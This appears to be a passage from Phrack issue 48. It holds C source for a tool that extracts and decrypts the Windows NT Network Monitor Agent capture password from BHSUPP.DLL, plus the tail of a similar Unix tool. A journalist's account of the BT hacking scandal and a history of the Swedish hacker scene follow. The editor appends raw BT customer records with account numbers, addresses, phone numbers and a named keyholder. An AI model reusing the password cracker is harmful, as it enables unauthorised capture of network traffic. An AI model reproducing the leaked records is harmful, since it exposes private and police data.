fprintf(stderr,"Cannot open %s\n",fname);

exit(1);

}

while(read(fd,buffer,8192)){

i=0;

while(i<fbufsize&&!demonFlag){

switch(buffer[i‑4]){

case 'R':

if(buffer[i‑3]=='T'&&buffer[i‑2]=='S'&&buffer[i‑1]=='S'&&buffer[i+1]=='G'&&buffer[i+2]=='‑'&&buffer[i+3]=='‑'&&buffer[i+4]=='B'&&buffer[i+5]=='E'&&buffer[i+6]=='G'&&buffer[i+7]=='I'&&buffer[i+8]=='N'&&buffer[i+9]=='‑'&&buffer[i+10]=='‑'){ demonFlag++;

bufOffset=i;

/* Password is 32 bytes past end of header */offset=j‑4;

printf("Encrypted Token Flag: '%s' located at offset 0x%x\n",flag,offset); printf("Encrypted password should be located at offset 0x%x\n",offset+48); }

break;

default:

}

i++;

j++;

}

if(demonFlag)break;

}

if(!offset)return(0);

pass=(char *)malloc(BUFSIZE);

bzero(pass,32);

memcpy(pass,&buffer[bufOffset‑4+48],32);

printf("\nDo you wish to view the encrypted password?[y]"); switch(toupper(getchar())){

case 'N':

break;

case 'Y':

default:

hexonx(pass);

getc(stdin);

}

return(pass);

}

[The Sourcecode]

[NT Version]

//A Guild Production 1996 //

//Constructed by AON //

#define STRICT

#define MAX_FILE_SIZE 24576//if BHSUPP.DLL grows, so must this

#include <windows.h>

#include <stdio.h>

void DecryptPassword(LPBYTE lpEncryptedPassword, LPSTR lpszPlaintextPassword); BOOL GetEncryptedPassword(HANDLE hTargetFile, LPBYTE lpEncryptedPassword); void GetTargetFileFromUser(HANDLE* phTargetFile, LPSTR lpszTargetFile);

HANDLE g_hStdIn, g_hStdOut;//global declaration of StandardIN and OUT

//This is a console app. ReadFile and WriteFile used throughout so StdIN and StdOUT

// can be redirected.

void main(int argc, char* argv[])

{

HANDLE hTargetFile;

BYTE lpEncryptedPassword[32];

char lpszPlaintextPassword[17] = {0};

char lpszOutputBuffer[80];

char lpszTargetFile[MAX_PATH] = {0};

char lpszUsage[] = "\nUsage: NMCrack [path to BHSUPP.DLL including filename]\n"; LPTSTR lpszSystemDirectory = NULL;

UINT nCount, nCount2;

//set global handles

g_hStdIn = GetStdHandle(STD_INPUT_HANDLE);

g_hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);

//check for standard NT help switch

if(argc > 1 && argv[1][0] == '/' && argv[1][1] == '?')

{

//display usage info

WriteFile(g_hStdOut, lpszUsage, sizeof(lpszUsage), &nCount, NULL);

//exit with success

ExitProcess(0L);

}

//if path and file name not specified on commandline try system directory first, because

//BHSUPP.DLL is probably there

if(argc == 1)

{

//findout how long path is for mem alloc

nCount = GetSystemDirectory(lpszSystemDirectory, 0);

//do alloc of that size

lpszSystemDirectory = malloc(nCount);

if(lpszSystemDirectory == NULL)

{

WriteFile(g_hStdOut, "Memory Allocation Failure ‑ Terminating\n", 41, &nCount, NULL);

ExitProcess(1L);

}

//get system dir

GetSystemDirectory(lpszSystemDirectory, nCount);

//append file name to system directory

sprintf(lpszTargetFile, "%s\\bhsupp.dll", lpszSystemDirectory);

//release memory

free(lpszSystemDirectory);

}

else

{

//get the commandline input

strcpy(lpszTargetFile, argv[1]);

}

//try to open BHSUPP.DLL in the system dir or where the user instructed

hTargetFile = CreateFile(lpszTargetFile, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, NULL);

//if not on the commandline or in the system dir ask user for path

if(hTargetFile == INVALID_HANDLE_VALUE && argc == 1)

{

GetTargetFileFromUser(&hTargetFile, lpszTargetFile);

}

//user gave bad path or they don't have read permission on the file

else if(hTargetFile == INVALID_HANDLE_VALUE)

{

//make error string because file open failed

nCount2 = sprintf(lpszOutputBuffer, "\nUnable to open %s\n", lpszTargetFile);

//write out

WriteFile(g_hStdOut, lpszOutputBuffer, nCount2, &nCount, NULL);

//exit with failure

ExitProcess(1L);

}

//retrieve the encrypted password from BHSUPP.DLL

if(!GetEncryptedPassword(hTargetFile, lpEncryptedPassword))

{

WriteFile(g_hStdOut, "Unable to retrieve encrypted password\n", 39, &nCount, NULL);

ExitProcess(1L);

}

//cleanup handle

CloseHandle(hTargetFile);

//do the decryption here

DecryptPassword(lpEncryptedPassword, lpszPlaintextPassword);

//prepare for and print out results

nCount2 = sprintf(lpszOutputBuffer,

"\nThe Network Monitor Agent capture password is %s\n", lpszPlaintextPassword);

WriteFile(g_hStdOut, lpszOutputBuffer, nCount2, &nCount, NULL);

//close StandardIN and StandardOUT handles

CloseHandle(g_hStdIn);

CloseHandle(g_hStdOut);

//exit with success

ExitProcess(0L);

}

//Ah yeah, here it is.

void DecryptPassword(LPBYTE lpEncryptedPassword, LPSTR lpszPlaintextPassword) {

register int outer, inner;

//go backwards through loops to undo XOR

for ( outer = 31; outer >= 0; outer‑‑ )

{

for ( inner = 31; inner >= 0; inner‑‑ )

{

if ( outer != inner )

{

lpEncryptedPassword[inner] ^= lpEncryptedPassword[outer] + (outer ^ inner) + inner;

}

}

}

//since the original password was folded to fill 32 bytes only copy the first 16 bytes

memcpy(lpszPlaintextPassword, lpEncryptedPassword, 16);

//zero terminate this baby just incase it is actually a 16 byte password (yeah, right!)

lpszPlaintextPassword[16] = 0L;

return;

}

//get the path and file name for BHSUPP.DLL from the user in the case that it was

// a custom install

void GetTargetFileFromUser(HANDLE* phTargetFile, LPSTR lpszTargetFile) {

char lpszPrompt[] = "\nFull path to BHSUPP.DLL including file name: "; UINT nCount;

WriteFile(g_hStdOut, lpszPrompt, sizeof(lpszPrompt), &nCount, NULL);

ReadFile(g_hStdIn, lpszTargetFile, MAX_PATH, &nCount, NULL);

//I had to account for the CR + LF that ReadFile counts in the nCount return value,

//so I can zero terminate this string.

lpszTargetFile[nCount ‑ 2] = 0L;

*phTargetFile = CreateFile(lpszTargetFile, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, NULL);

//too lazy to make the error message report the actual path and file name tried

if(*phTargetFile == INVALID_HANDLE_VALUE)

{

WriteFile(g_hStdOut, "Unable to open BHSUPP.DLL\n",

26, &nCount, NULL);

ExitProcess(1L);

}

}

//This function allocs one big buffer and reads the whole damn DLL into it.

//There is a flag string that marks the start of the section that contains the

//encrypted passwords (in the case that there is a display password too), so

//we search for the first and last characters in the string. If we hit on a match

//we check about 50% of the chars in the string for a match. This is a good

//enough check based looking at the data. I guess I could optimize memory usage

// here too, but 24K is not very much these days, so fuck it.

BOOL GetEncryptedPassword(HANDLE hTargetFile, LPBYTE lpEncryptedPassword) {

LPBYTE lpSearchBuffer;

UINT nCount, i;

//do the big buffer alloc

lpSearchBuffer = malloc(MAX_FILE_SIZE);

if(lpSearchBuffer == NULL)

{

WriteFile(g_hStdOut, "Memory Allocation Failure ‑ Terminating\n", 41, &nCount, NULL);

ExitProcess(1L);

}

//read in the entire file. It is small enough that this takes trivial time to complete.

ReadFile(hTargetFile, lpSearchBuffer, MAX_FILE_SIZE, &nCount, NULL);

//do search for RTSS&G‑‑BEGIN‑‑ When it is found move 48 bytes past the R and copy

//the encrypted password into the workspace

for(i=0; i<nCount; i++)

{

if(lpSearchBuffer[i] == 'R' && lpSearchBuffer[i+14] == '‑')

{

if(lpSearchBuffer[i+1] == 'T' && lpSearchBuffer[i+2] == 'S' && lpSearchBuffer[i+3] == 'S' && lpSearchBuffer[i+4] == '&' && lpSearchBuffer[i+8] == 'B')

{

//found password and coping it into the workspace

memcpy(lpEncryptedPassword, &lpSearchBuffer[i+48], 32);

//cleanup the mem alloc

free(lpSearchBuffer);

//return with success

return TRUE;

}

}

}

//cleanup

free(lpSearchBuffer);

//it failed to find the marker string

return FALSE;

}

The Truth...and Nothing but the Truth

==Phrack Magazine==

Volume Seven, Issue Forty‑Eight, File 16 of 18

THE TRUTH, THE WHOLE TRUTH AND NOTHING BUT THE TRUTH‑a story of the 'BT‑Hacker' scandal.

By Steve Fleming

Sitting in a chilly university computer department in northern England was in itself exhilarating. The mid‑February climate made it cold; my head was buzzing with voices chatting freely about gaining access to secret computers, acquiring free telephone calls and how to fashion 'bombs' to maim or kill lecturers and 'Senior Vice Principles'. There was nobody else in the room, all the company was just under a meter from me in CyberSpace, that alternative universe where anything is possible and everyone is somebody they want to be. The stories were extraordinary ‑ in fact they were incredible, an eclectic mix of fact and fantasy bound together by expert social engineering.

These CyberSpace 'cafes' are the BBS' ‑ Bulletin Board Services ‑ and are the stock‑in‑trade of the electronic community. The Internet is connected to some of them, but the best ones, the ones with the best chat and the most exciting files are not ‑ you get the dial‑in number from another user, and have to then beg to use the service. It is interesting to note that the Internet has now become a generic term for on‑line communication and suffers as a result of its inappropriate use. Blaming the Internet for anything is like apportioning culpability to 'society' ‑ fine for academics but otherwise a shallow construct.

I have known some computer experts in my time, and still some 'reformed hackers' count as my best friends ‑ I really wanted to find out if a major British computer could be hacked or if it had been done. The UK has some of the most draconian secrecy laws anywhere on the planet, so if secrets are found, they tend to be kept secret. When people start talking in CyberSpace, they really talk and talk and talk. Their voice has no tone or volume, no emotion or mood ‑ it can be like talking with a form of electronic psychopath sometimes. But there are inventive ideas 'on‑line', and sometimes you can SHOUT, but this is quite rude, mostly pictorial punctuation (the smiley) is the key. You can indicate a smile :‑) or a frown {:‑( and you can even indicate sarcasm ;‑) with a sly wink. It's interesting to note that irony is not really a north American thing at all; sarcasm is a CyberSpace thing. I wouldn't say that I am an expert, I wouldn't even say that I was very good with computers, I'm always learning. My qualifications are in science; Biology and Psychology, not computing. What this gives me is an urge to investigate assuming a null hypothesis ‑ I disprove things in short. It's funny to think that most of the press followed a placed PR line that I must be a '... twisted computer boffin who had broken into an '...entirely robust...' computer system'. And my, did that title stick ‑ friends from Hong Kong to Turkey called to say I was a computer expert all over the world! This was very effective and obviously placed by someone with powerful influence, perhaps advertising influence? It doesn't really matter, bad journalism is all over and we all have a living to earn ‑ I however, would never do it at the expense of a colleague.

There was the vision of news editors screaming, "... get me some secrets!" ‑ they simply couldn't believe that a freelance with only a few published pieces could have brought in such an impressive story with a scandal at every level ‑ so they capitulated with the 'boffin' lie and went back to boring, standard, sloppy 'background' on this 'hacker'. It was actually a bit of a personal tragedy, my on‑line persona was cracked, there wasn't very much in my life at all, quite a boring person really; like most journalists who spend a lot of time observing rather than doing. The Today newspaper had some hot tip‑off's from people I'd interviewed in the past, one man in particular who had lied in a silky and attractive way for two and a half hours had been doing the same to them. The fact that I wrote for a 'gay magazine'. Shock horror, a definite Philby, Burgess & McLean story breaking. What a bit of investigate journalism that wasn't, I wrote under my own name! Was he a spy, was he working for Libya, Israel, MI‑6, MI‑5, the Labour Party, Duncan Campbell, Richard Gott... and then there was the 'shit‑bagging'. This happens when tardy investigators are ignorant of the facts, automatically they assume it should be them who had the story, if only they'd had the time. But this is all history now, and I forgive them all... but I never forget.

How could a temporary member of staff see all this secret information? The list forming in the mind of the press (and I do think in situations like these one surprisingly tiny mind) went something like this:

1.They aren't secrets at all.

2. BT would know if anyone had looked at the secret stuff, so they'll catch the whistle‑blower; probably working for computer security within BT.

3. Fleming is a computer expert, he's hacked the system and is spinning a story to prevent him being found out ‑ and he's not a 'real' journalist and we are.

Well, there was clear evidence that the stuff was very sensitive, so strike number 1 from the list. How could they wait for stage two, if it is the case it may take days or weeks, so they couldn't have that anyway the Independent had shown it could be done away in time or place of Fleming. The only option was; who's there, who'll talk, and how can we retain credibility as journalists ‑ repudiate the freelance!

There was no shortage of shit‑bag material; 'various anonymous sources... unconfirmed reports... it seems likely etc.' Some even fancied the idea that the details were shocking, but lets just do it all ourselves and dump on Fleming from a great height? It really was like being on a maggot farm, wading through pen after pen of repulsive, brainless, panicked... maggots.

The truth is that there was no great skill involved in cracking BT's computer, it was so easy my pet parrot could have done it with only one claw. Many companies are confused about computer security and what it means. The sharp young suits talk about 'magneto‑optical storage facilities' and 'EPROM or WORM access'. The captains of industry nod sagely, they run the ship and leave the deck scrubbing to junior officers. These proud, self important and generally thick as two short planks when it comes to computers men, authorise huge budgets for the whiz‑kids who play with the money, buy new things, install new software, 'patch' the operating system, attach ISDN cards, issue user ID's after extensive family checks. You name it, and these guys do it, and they love it. They install password checkers that look for hackers (or errors) and disconnect users for 15 minutes if they get their passwords wrong three times. The captains of industry still discuss 'wireless' and 'word processors'. The bright young men should be allowed to deal with all the computer stuff, it's not that the captains can't understand it or anything like that, they just don't have the time.

Staff who have to work the systems couldn't care less about the 'advanced software engineering' that went into the system. There is as much 'social engineering' as any other sort when it comes to computers for industry. So they have to remember passwords that change regularly and they have to remember to get that report done, and see the boss and train the new staff and type that letter and claim those expenses and design that form and... it's a lot to remember. When folk have a lot to remember they make lists, and those lists include passwords ‑ sounds like an opportunuty for 'trashing'. They simply look through the rubbish and see what they can see. Sometimes someone writes down a password on a post‑it note to let someone into their computer for some reason, that person enters the password and makes a note in their diary of it and pops the sticky in the bin. Then, in these busy offices, staffing levels are being cut. The managers need a dozen staff, and have four. They are allowed to contract from a temp agency and top up the office. These people are often unemployed graduates. Clever, but very, very bored. They don't get paid much, 4.00 an hour. That's what I was paid to write a nationwide database suite for BT but there I have to stop, the gag is cutting into me. They just want a decent job, and try to impress in case they get offered one, and the companies play on this and exploit without mercy. 4.00 an hour and they want unbridled enthusiasm, ideas, loyalty, commitment ‑ who are they trying to kid!

The computer administrators say they can't give temporary access to the system, '... it can't be done.' Well what do you suggest? 'You'll just have to make do, it's the system, can't help, sorry.' You need a dozen workers, perhaps 6 need to be on the system, you have 5 passwords plus another of the departmental manager making six. Why not let the temps use these passwords and you can get on with the more important stuff, can't be any harm in that? It's not as if we're using them? However, temps are just that, temporary ‑ they move on. Consequently with all the changes you make up a folder with all the passwords and then they can just flick through that to find a password, it doesn't seem all that insecure does it?

And there we have it, passwords being shared, passed, written down, typed in and shouted across the office. You can forget about any notion of security, the moment you take that step the whole system is pointless, you may as well print out all the secret information and sell it in Dillons ‑ it would certainly make the phone book a best seller! Better still if the marketer's got what they wanted, put it on CD‑ROM and charge a fortune for it at christmas;

The Multimedia Secrets Collection, 199.95!

The ideal christmas gift for the spy in your life. Includes music from around the world. BT, it's good to talk! NB it may be an offence to talk to anybody about this.

Now you see why BT are keen to quell this espial, they know the situation, but don't want it publicised, it's very embarrassing for goodness sake ‑ they have a contract to advise the government on computer security! Frankly, I couldn't care less if some BT mandarin gets a red face, it is no concern of mine. What is, is the fact that these secrets are not encrypted and are broadcast around the country on computers and are available to just about anyone who cares to look at it. The only warning displayed was 'Unauthorised access is an offence under the Computer Misuse Act (1990)' ‑ but this access isn't unauthorised, is it? This notion of 'confidential' is a joke. BT's computers happily broadcast your ex‑directory telephone number (and soon your name) down the line unless you make the choice to prevent it. What is confidential about that? The public interest is of prime importance here. The scandalous intimition in my legal gag is that I am risking national security? Me! Well I have a lot to say about that, it's not me that allows any old temp to see secrets, and I have never printed a single telephone number or details of any equipment, unlike some respected others. I brought the fact this could be done to light in a responsible journalistic manner.

If I was such an expert, the intelligence service would have snapped me up immediately, BT would have paid me off and the government could have avoided embarrassment. But I'm not, I'm a journalist. The Independent published this story and I have respect for them, they took a risk and then wanted to distance themselves from me, which I understand. It was however a lonely, cold and frightening experience which is not yet over.

The governments of these lands talk big about how the information superhighway will change all our lives, and how committed they are to servicing this new form of infrastructure leading to a new, fresh and exciting dimension ‑ but they also punish, abuse, prosecute, imprison and destroy the lives of the people who may be far better able to exploit their ignorance and expose the sensitive underbelly of their power ‑ their information. If you ask me, the old guys will make CyberSpace just as ugly and corrupt as the society they have already spawned, nurtured and set on a path of destruction out here. I for one don't want or need their advice, support or money ‑ let them lay in the bed they have made, I'll stay in CyberSpace.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ Related Info Appended by the Editor ‑

DCS DISPLAY CUSTOMER SUMMARY ??/??/?? 11:41

Name : THE CHIEF CONSTABLE Telephone No : 031‑315 2007 NQR

Account No : 8077 0366

Address: LOTHIAN & BORDERS POLICE Customer Type: BUSINESS VOLUME POLICE HEADQUARTERS Installations: 1 5 FETTES AVE

EDINBURGH LINE DETAILS EH4 1RB Installed : 26/08/88

Line Status : B/W

Curr State :

Inst Class'n : BUS SINGLE EXCL

ORDER Exchange Type: TXDX03 RECEPTION MARKER Recent Order : YES

Contr Signed : BILLING

REPAIR CONSENT Method of Pay: ORDINARY ACCOUNT : NO Systems Bus : C A/C U/Enquiry: NO Servicecare : NO Sup Serv Bus : D D/M Case : NO

O/S fault : NO Cust Options : STANDARD VRUF Hist fault : NO OSC Ind : NO

Hazard : CUSTOMER CONTACTS

Warning : Issue : NO Notes : YES

BRDCST MANAGERS USING NJR‑PLEASE DNB"NJRNEWS" FOR UPDATE ON CALLOUT PROBLEM ES

4A_ O‑O

DCRD PRODUCT TARIFF DETAILS ??/??/?? 11:41

Exchange Name : DEAN Tel No : 031‑315 2007 NQR

Installed : 26/08/88 a/c No : 8077 0366 Inst Class'n : BUS SINGLE EXCL Notes : YES S/S No :

QTY PROD ID SHORT DESC or MSC / CP NOTE TARIFF:RATE TOTAL

1 A14499 C EXCH LINE + LINEBOX 32.66 32.66 *

1 A10117 C BASIC DIAL PHONE 4.70 4.70 *

1 A12481 C PRIVACY SET NO 8 51.75 51.75 *

TARIFF GRAND TOTAL : 89.11

ES

4A_ O‑O

DIN DISPLAY NOTE DETAILS ??/??/?? 11:41

Installation : THE CHIEF CONSTABLE Tel no : 031‑315 2007 NQR Name

WRITTEN < AUTHOR > EXPIRES

8/ 2/94 JOSEPHINE/8813 8/ 2/95

A/.D LTR SENT FOR 0506843235,0313322106 0506881101 AND 0313152007

DCS DISPLAY CUSTOMER SUMMARY ??/??/?? 11:43

Name : LOTHIAN & BORDERS POLICE Telephone No : 031‑332 2106 NQR

Account No : 8076 9640

Address: POLICE HEADQUARTERS Customer Type: PAYPHONE BUS 5 FETTES AVE Installations: 1 EDINBURGH

EH4 1RB LINE DETAILS

Installed : 04/10/83

Line Status : B/W

Curr State :

Inst Class'n : BUS PAYPHONE

ORDER Exchange Type: TXDX03 RECEPTION MARKER Recent Order : NO

BMC/C/N/ / / Contr Signed : YES BILLING

REPAIR CONSENT Method of Pay: ORDINARY ACCOUNT : ** Systems Bus : D A/C U/Enquiry: NO Servicecare : S Sup Serv Bus : C D/M Case : NO

O/S fault : NO Cust Options : SINGLE LINE OPTION Hist fault : NO OSC Ind : NO

Hazard : CUSTOMER CONTACTS

Warning : Issue : COM Notes : YES

ES

4A_ O‑O

DCRD PRODUCT TARIFF DETAILS ??/??/?? 11:43

Exchange Name : DEAN Tel No : 031‑332 2106 NQR

Installed : 04/10/83 a/c No : 8076 9640 Inst Class'n : BUS PAYPHONE Notes : YES S/S No :

QTY PROD ID SHORT DESC or MSC / CP NOTE TARIFF:RATE TOTAL

1 A17867 C PAYP LINE SKTD SGL LINE TG10 32.66 32.66 *

1 A19493 C OPTION 50 NON‑ISDN SITE LINE 0.00 0.00 *

1 A11790 C INTERNAL EXTN OFF MASTER SCKT 0.00 0.00 *

1 A17817 O MINSTREL PLUS PHONE Outright sale FREE GIFT ‑ NO GUARANTEE

1 A11810 C METER PULSE FACILITY 6.70 6.70 *

1 A19398 C PAYPHONE 190MP TABLE‑TOP MODEL Outright sale KEYHOLDER BETTY MITCHELL ON 031.311.3338

1 Standard Care charge on A19398 12.00 12.00 *

TARIFF GRAND TOTAL : 51.36

ES

4A_ O‑O

DIN DISPLAY NOTE DETAILS ??/??/?? 11:43

Installation : LOTHIAN & BORDERS POLICE Tel no : 031‑332 2106 NQR Name

WRITTEN < AUTHOR > EXPIRES

8/ 2/94 JOSEPHINE/8813 8/ 2/95

A/.D LTR SENT FOR 0506843235,0313322106 0506881101 AND 0313152007

International Scenes

==Phrack Magazine==

Volume Seven, Issue Forty‑Eight, File 17 of 18

****************************************

International Scenes

There was once a time when hackers were basically isolated. It was almost unheard of to run into hackers from countries other than the United States. Then in the mid 1980's thanks largely to the existence of chat systems accessible through X.25 networks like Altger, tchh and QSD, hackers world‑wide began to run into each other. They began to talk, trade information, and learn from each other. Separate and diverse subcultures began to merge into one collective scene and has brought us the hacking subculture we know today. A subculture that knows no borders, one whose denizens share the common goal of liberating information from its corporate shackles.

With the incredible proliferation of the Internet around the globe, this group is growing by leaps and bounds. With this in mind, we want to help further unite the communities in various countries by shedding light onto the hacking scenes that exist there. If you want to contribute a file about the hacking scene in your country, please send it to us at phrack@well.com.

This issue we have files about the scenes in Sweden and Brazil.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Swedish Hacker Scene

It's about time to fill up this hole in the worldwide history of hackers published in the Phrack series of articles on national scenes. Since no one else seems to be getting around to do it I'd better do it myself.

Sweden was in fact one of the countries in the front line during the birth of computers in the 1940's and 50's. By 1953 KTH university in Stockholm built BESK, at the time being the fastest and most advanced computer in the world. During the late 1960's Linkoping university specialized in computer science and in 1973 the computer society Lysator started out as an offshoot of american hacker culture of the kind you could find at MIT during the 60's and 70's. They are still active and often referred to as the first Swedish hacker society ever, which is indeed true. Now days they still adhere to the international hacker ethic of university societies and among their lines are as well idiots as real bright guys (as is the case of most such societies) and their contributions to the world of e‑culture include Project Runeberg; a text archive of Scandinavian literature, and a voluminous FTP archive. There's actually a lot of ASCII work being done at Lysator, including converting Phrack back issues to HTML format.

Despite the early interest in computers in Sweden there was no equivalent to the American phreakers of the 1970's. This was not caused by lack of knowledge but rather by dullness. Sweden was during the 70's and early 80's in a period of both economic wealth and social mentality commonly known as "The Welfare State". Everybody was facing the same high economic standards, nobody was really displeased with Swedish society, and the government granted lots of spare‑time activities for youths. Thus the growing ground for any outlaw societies was withdrawn. (Eg Hells Angels didn't start out in Sweden until the 80's.) Swedes were in fact too pleased, too wealthy and too filled up with their vision of an almost utopian society to even get the faintest glimpse of an idea to form any underground movements. Even political groupings like Anarchists, Hippies (in Europe referred to as "Provos") or Fascists were almost WIPED OUT by the extreme political climate and wealth of the 70's.

Thus, phreaker culture couldn't possibly start out in Sweden at this time, though some freaked out engineers and radio‑amateurs might have built blue boxes and similar equipment for their household needs. This state of society caused Sweden to lag behind other European and Scandinavian countries in the field of outlaw hacking.

The first hacker activity in Sweden was reported by the authorities in 1980. The hacker in question was a student at Chalmers university in Gothenburg and was sued for manipulating the account system into granting him free access to the mainframe, for which was sentenced to a relatively light fine. Apart from some similar incidents carried out by bright individuals there was no real H/P scene until 1984. Also in 1980 BBS activity started out in Sweden. Most enthusiasts were using a Swedish micro built by Luxor and DIAB in 1978 called ABC‑80 (Obviously inspired by the American TRS‑80). These enthusiast, however, were well organized engineers running a straight user‑group, no anarchists or radicals of any kind were ever involved.

In 1984 a magazine called "Rolig Teknik" started out as an offshoot of YIPL/TAP featuring the same kind of material, and by 1987 some journalist "discovered" this magazine, causing a lot of noise throughout The Welfare State and bringing people out in a public debate of how to defeat this magazine. (Though it actually didn't feature any illegal material; even Sweden has the freedom of speech and press written explicit in its constitution, as in the American First Amendment.) "Rolig Teknik" rapidly became a cult media for underground electronic freaks, outlaw radio amateurs, and other antisocial movements. But let's not get ahead of events.

By early 1984 two youths aged 17 and 19, clearly inspired by the movie "War Games", hacked their way into several Swedish computer systems using a simple Apple II and a 300 baud modem, notably DAFA‑Spar ‑ a register containing public information on every Swedish citizen. Though there were no secret data in this computer, and though these hackers never succeed in gaining root access, the incident was annoying to the authorities. Also this year, some wealthy upper‑middle class youths started using the was‑to‑become major European home computer: the Commodore 64. What the Apple II was for America, the C‑64 was for Europe. Enter the software crackers.

C‑64 was THE symbol of hackerdom to Swedish youths in the 1980's. As software cracker Mr.Z pioneered the hacker scene in 1983 with hundreds and hundreds of cracked games, Swedish hackers somehow got to believe that cracking games was the Big Thing for any hacker. Besides, not many of these guys had modems. By 1987 American game producers were alarmed by the Niagara of cracked C‑64 software being downloaded from Europe, causing them to start copy‑protecting games that were to be exported to Europe. A closer examination showed that a lot of these cracks were made by Swedish groups, notably Triad and Fairlight. Thus, most Americans to get in touch with the Swedish hacker scene were what you would refer to as the "Warez D00ds" or "Pirates" of the time. Since the Swedes were unable to phreak due to lack of knowledge in the telecom field, American warez d00ds constantly called up Swedish crackers to obtain the latest software.

There seems to be some kind of misconception in the American view of the hacker culture of Europe: Not very many hackers in Sweden and the rest of Europe got into phreaking nor net hacking in these early years, perhaps with the exception of the movement in Germany caused by Chaos Computer Club. By tradition most European hackers in general, and Swedish hackers in particular, turned to software cracking and demo programming. (The Demo as an art form was invented in Europe during 1984‑86.) None of these activities were actually illegal at the time being, though indeed underground. This might have helped to create the general American view of European hackers as "Idiotic Immature Warez D00ds". In fact, most European hackers look upon software cracking and demo programming with pride, though spreading (warez trading) wasn't considered a real hacker activity, and pirating for economic gain was looked upon with disgust and utter contempt. Software spreading in all forms was finally outlawed in Sweden January 1st 1993.

1986: Enter the Netrunners.

By the year 1986 the legendary BBS "Tungelstamonitorn" under the supervision of Jinge Flucht began distributing H/P and Anarchy files. Jinge himself, being a social inspector and thereby fully aware of the state of society, was upset with The Welfare State and thought the Swedes had gone law‑abiding in an absurd and unhealthy manner. In his view people seemed to accept laws without ever questioning them, thereby making Sweden into a conformistic utopian hell. Later Jinge joined the Fidonet where he got known for running the most explicit and intense debates in Swedish BBS‑culture ever.

Probably the H/P files stored at Jinges BBS were the spark that lit the Swedish net hacking scene. Swedish hackers had SEEN "War Games", HEARD about the CCC in Germany, and now they finally got their hands on documents that explained the techniques. In 1987 excerpts from Steven Levy's "Hackers" and Bill Leebs "Out of the Inner Circle" were reprinted in the Swedish computer‑ magazine "Datormagazin" by editor Christer Rindeblad, creating a common group‑awareness among Swedish hackers. ("Out of the Inner Circle" had actually been translated to Swedish already 1985, but was obviously read mostly by security experts and War Games‑obsessed wannabe's.) 1987 also saw the birth of the first all‑Swedish hacker group ever to make themselves a name outside Scandinavia. This was of course SHA ‑ Swedish Hackers Association.

SHA wanted to be a hacker group of international standards and qualities. They collected the best people, storing up a knowledge basis for future use. In the years 1989‑92 SHA was at its height, successfully trashing computer companies and computer scrap dumps and gaining access to hundreds of computers. Inspired by the German hackers Pengo and Hagbard in Leitstelle 511 they started having regular meetings on fridays at their own booked table in a restaurant in Stockholm. Their perhaps biggest achievement ever was made in 1991 when they wrote a scanner to exploit the Unix NIS‑bug, running it on 30 processes simultaneously, and ending up with some 150.000 passwords whereof 600 gained root access. Though some would say SHA were a bit too fond of the media image of hackers and sometimes had a weakness for hacker cliches, no one can really deny their achievements.

Swedish hackers also got a lot attention for their carding activities in 1989. Both Sneaker of SHA and Erik XIV of Agile wrote modulo 10‑calculators to produce endless series of valid Visa‑numbers. Erik XIV was even on national television, demonstrating the weaknesses of the credit card system. Cynically they were both busted.

At Christmas 1990 the Swedish X.25 network Datapak and Decnet were both attacked by a group of UK hackers called 8LGM (8 Little Green Men or 8‑Legged Groove Machine ‑ I don't know which one is a media nick). Using a war dialer they scanned about 22.000 entries and successfully accessed 380 of these. This is perhaps the most well‑known of all hacks in Sweden, causing a lot of media noise. (The exact figures are a product of the Swedish telephone system AXE that I will write more about in a moment.) As reported in Phrack #43 they were busted and convicted under the new British anti‑hacker law.

Later Swedish achievements include the phonecard emulator, constructed by Atari ST enthusiast Marvin in 1992, after hearing the Swedish phone company Telia boast of these prepaid phonecards superior security. Though these silicon‑based chip phonecards (256 bytes serial EPROMs) couldn't actually be recharged or easily tampered with, he realized there was no problem in emulating the chip with a Motorola 68c705 one‑chip computer. Some fake phonecards were manufactured and sold for almost nothing among his very best friends more on a "See, it can be done"‑basis than with any intention to defraud Telia or earn heaps of money. Somehow the blueprints for the emulator found its way into the Internet.

Swedish hackers in general have a very strong tradition of forming groups, due to their roots in programming activities rather than phreaking. Group awareness and culture is very widespread and accepted within the boundaries of the whole Swedish computer underground. Thus, LOYALTY is very strong among Swedish hackers. Most hackers who get busted by authorities or blackmailed by companies would rather DIE than telling the name of even a single 10‑year old warez d00d.

While we're at it ‑ hacker busts, and phreaker busts in particular, are carried out in quite a disturbing manner in Sweden. To explain this I must first explain a bit about the Swedish telephone system.

Almost all Swedish networks use a system similar to 4ESS, constructed in cooperation by the State Telecom "Televerket" and Swedish telecommunications equipment producers Ericsson Telecom. This system is called AXE, which is an abbreviation for Automatic Cross‑Connection Equipment. AXE is used in some 100 countries all over the world and probably one of the most beautiful exchange systems ever developed. AXE is designed for national, metropolitan and rural networks, and the same system nucleus is used in all the different systems. It can control both digital and analog equipment, though it's made with the aim on transforming all Swedish networks from analog to digital connections. It also comes with a fully featured bureaucratic organization for maintenance, administration and economics in general. AXE has the capability of building virtual groups in switching‑stations, thus putting your PBX into the telco soup as well, making you believe you have the control over it though it's actually located elsewhere.

In short, this is an centralized, monolithic system of the horribly efficient type that telcos love. It tells any amateur to keep their hands off and do something else. Of course it's a system that hackers and phreakers hate, since it's limited to authorities. The filthy crowd do not know what is going on inside these exchanges, and the telcos like to keep it that way.

AXE also works with stored program control that resides inside the system core of every switching station. Of course this is all software, and of course State Telecom, upon building AXE, couldn't hold back their Big Brother tendencies.

The result is that every call made from anywhere to anywhere, is logged in a central computer. Now that's something! Not only did this equipment wipe out every possibility to box within Sweden, but it also removed all kind of phone privacy. In fact not only calls are logged, but ALL activity performed at your terminal. If you lift the handset, press a digit and hang up, time, date and the digit you pressed is registered. All this data is stored on magnetic tapes for 6 months.

